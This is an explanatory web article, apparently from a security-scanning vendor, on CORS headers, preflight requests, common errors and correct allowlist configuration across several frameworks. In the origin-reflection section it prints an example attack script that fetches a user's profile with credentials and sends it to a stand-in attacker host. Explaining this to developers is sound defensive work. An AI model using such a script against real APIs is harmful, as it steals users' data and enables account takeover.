CORS (Cross-Origin Resource Sharing) is a browser security mechanism that controls which external domains can access resources on your web server. It extends the Same-Origin Policy — a fundamental browser security feature that prevents JavaScript on one website from reading data from another website.
Also see: How to Fix CORS Misconfiguration, CORS Policy Examples by Framework, API Security Best Practices 2026, and API Rate Limiting Guide.
When a web page at https://app.example.com tries to fetch data from https://api.example.com, the browser checks the API server's CORS headers to determine if the request should be allowed. If the headers are missing or misconfigured, the browser blocks the response.
How CORS Works
The Same-Origin Policy
Two URLs have the same origin if they share the same protocol, domain, and port:
# Same origin:
https://example.com/page1 ↔ https://example.com/page2 ✅
# Different origin (different subdomain):
https://app.example.com ↔ https://api.example.com ❌
# Different origin (different port):
https://example.com ↔ https://example.com:8080 ❌
# Different origin (different protocol):
http://example.com ↔ https://example.com ❌
Simple Requests vs. Preflight Requests
Simple requests (GET, HEAD, POST with standard headers) are sent directly. The browser checks the response headers afterward.
Preflight requests are sent automatically by the browser before "complex" requests (PUT, DELETE, custom headers, non-standard content types). The browser sends an OPTIONS request first to ask the server if the actual request is allowed.
# Preflight request (sent by browser automatically):
OPTIONS /api/data HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization
# Server response (if allowed):
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
Key CORS Headers
Access-Control-Allow-Origin— Which origins can access the resourceAccess-Control-Allow-Methods— Which HTTP methods are allowedAccess-Control-Allow-Headers— Which request headers are allowedAccess-Control-Allow-Credentials— Whether cookies/auth can be sentAccess-Control-Max-Age— How long to cache preflight resultsAccess-Control-Expose-Headers— Which response headers JavaScript can read
Common CORS Errors
"No 'Access-Control-Allow-Origin' header is present"
The server isn't sending any CORS headers. You need to add Access-Control-Allow-Origin to your server configuration.
"The value of the 'Access-Control-Allow-Origin' header must not be the wildcard '*' when the request's credentials mode is 'include'"
You're using Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. This is a security vulnerability. Use a specific origin instead of the wildcard.
"Method PUT is not allowed by Access-Control-Allow-Methods"
The server's Access-Control-Allow-Methods header doesn't include the HTTP method you're trying to use. Add the method to the allowed list.
CORS Security Risks
A misconfigured CORS policy can allow attackers to:
- Read sensitive data from your API using a malicious website
- Perform actions on behalf of authenticated users
- Steal authentication tokens and session cookies
- Bypass access controls by exploiting overly permissive origins
For detailed fix instructions with copy-paste configurations, see our complete CORS fix guide.
The most dangerous CORS configuration: wildcard with credentials
The single most dangerous CORS misconfiguration is setting Access-Control-Allow-Origin: * in combination with Access-Control-Allow-Credentials: true. This combination is so dangerous that modern browsers actually block it by design — but developers work around it by dynamically reflecting the Origin header instead of using a wildcard.
# Vulnerable: dynamically reflected Origin (common bypass of the wildcard restriction)
# Request header: Origin: https://evil.com
# Server response:
Access-Control-Allow-Origin: https://evil.com <-- reflected from request!
Access-Control-Allow-Credentials: true <-- allows cookies!
# What this means: ANY website can make authenticated requests to your API
# The attacker visits https://evil.com which sends:
fetch('https://api.yourdomain.com/user/profile', { credentials: 'include' })
.then(r => r.json())
.then(data => fetch('https://attacker.com/steal?data='+JSON.stringify(data)))
This is a complete account takeover vector. The fix is an explicit origin allowlist validated against a pre-approved list, never a reflection of whatever origin the request sends.
Server-side CORS validation pattern
The correct CORS implementation validates the Origin header server-side against an allowlist. Here is the pattern for the four most common stacks:
# Express.js (Node.js)
const allowedOrigins = ['https://app.yourdomain.com', 'https://admin.yourdomain.com'];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});
# Laravel (PHP) — config/cors.php
'allowed_origins' => ['https://app.yourdomain.com'],
'supports_credentials' => true,
# Django (Python) — settings.py with django-cors-headers
CORS_ALLOWED_ORIGINS = ['https://app.yourdomain.com']
CORS_ALLOW_CREDENTIALS = True
# Nginx
add_header 'Access-Control-Allow-Origin' 'https://app.yourdomain.com' always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
CORS and API security: the broader context
CORS is a browser-enforced policy — it only protects browser-based requests. Non-browser clients (curl, Postman, mobile apps, server-to-server calls) bypass CORS entirely. This is a critical distinction:
- CORS does NOT protect APIs from server-side attacks: Attackers making direct HTTP requests from their servers bypass all CORS restrictions. CORS protects against cross-origin browser attacks only.
- CORS does NOT replace authentication: A permissive CORS policy is a risk amplifier, not an authentication bypass by itself. APIs must require valid authentication tokens regardless of CORS configuration.
- CORS errors in development are not security: Disabling CORS for development convenience and forgetting to re-enable it in production is a common source of production CORS vulnerabilities.
CORS by framework: correct implementation patterns
Each server framework handles CORS differently. Using middleware incorrectly — or setting headers in the wrong layer — is the most common source of CORS misconfigurations in production.
- Express.js (Node.js): Use the
corsnpm package with an explicitoriginallowlist function. Never passorigin: true(reflects any origin) ororigin: '*'withcredentials: true. The correct pattern:origin: (origin, callback) => { const allowed = ['https://app.yourdomain.com']; callback(null, allowed.includes(origin)); } - Laravel (PHP): Configure
config/cors.phpwith'allowed_origins' => ['https://app.yourdomain.com']. Avoid'allowed_origins' => ['*']with'supports_credentials' => true— Laravel will throw an error, but some versions silently accept it. - Django (Python): Use
django-cors-headers. SetCORS_ALLOWED_ORIGINS = ['https://app.yourdomain.com']. TheCORS_ORIGIN_ALLOW_ALL = Truesetting combined withCORS_ALLOW_CREDENTIALS = Trueis the primary misconfiguration to avoid. - Next.js API routes: Set CORS headers manually in API route handlers or via middleware. Returning the request's
Originheader as theAccess-Control-Allow-Originwithout validation (origin reflection) is equivalent to*with credentials — the most dangerous pattern. - Nginx/Apache (reverse proxy): If your application server sets CORS headers, confirm the reverse proxy is not overriding them. Duplicate
Access-Control-Allow-Originheaders cause browsers to reject the response. Useadd_headeronly at one layer.
CORS debugging checklist
- Check the browser console for the specific CORS error message — it identifies the exact misconfiguration.
- Use the browser Network tab to inspect the preflight
OPTIONSrequest and its response headers. - Verify the server is returning
Access-Control-Allow-Origin— not just the application, but the actual HTTP response from the server (Nginx, Apache, or load balancer may override application headers). - Test from the actual origin domain, not localhost — CORS behavior differs between origins.
- Run the AI QA Monkey API & CORS scanner to detect wildcard origins, credential reflection, and preflight configuration issues externally.
Test Your CORS Configuration
Free API & CORS security scan — detects wildcard origins, credential reflection, and preflight issues.
Scan Your API NowFAQ
What does CORS stand for?
CORS stands for Cross-Origin Resource Sharing. It uses HTTP headers to control which external domains can access your server's resources.
Why do browsers block cross-origin requests?
The Same-Origin Policy prevents malicious websites from reading data from other sites. Without it, any website could silently access your bank, email, or social media data.
What causes a CORS error?
A CORS error occurs when the target server doesn't include the correct Access-Control-Allow-Origin header. Common causes: missing headers, wildcard with credentials, unhandled preflight requests.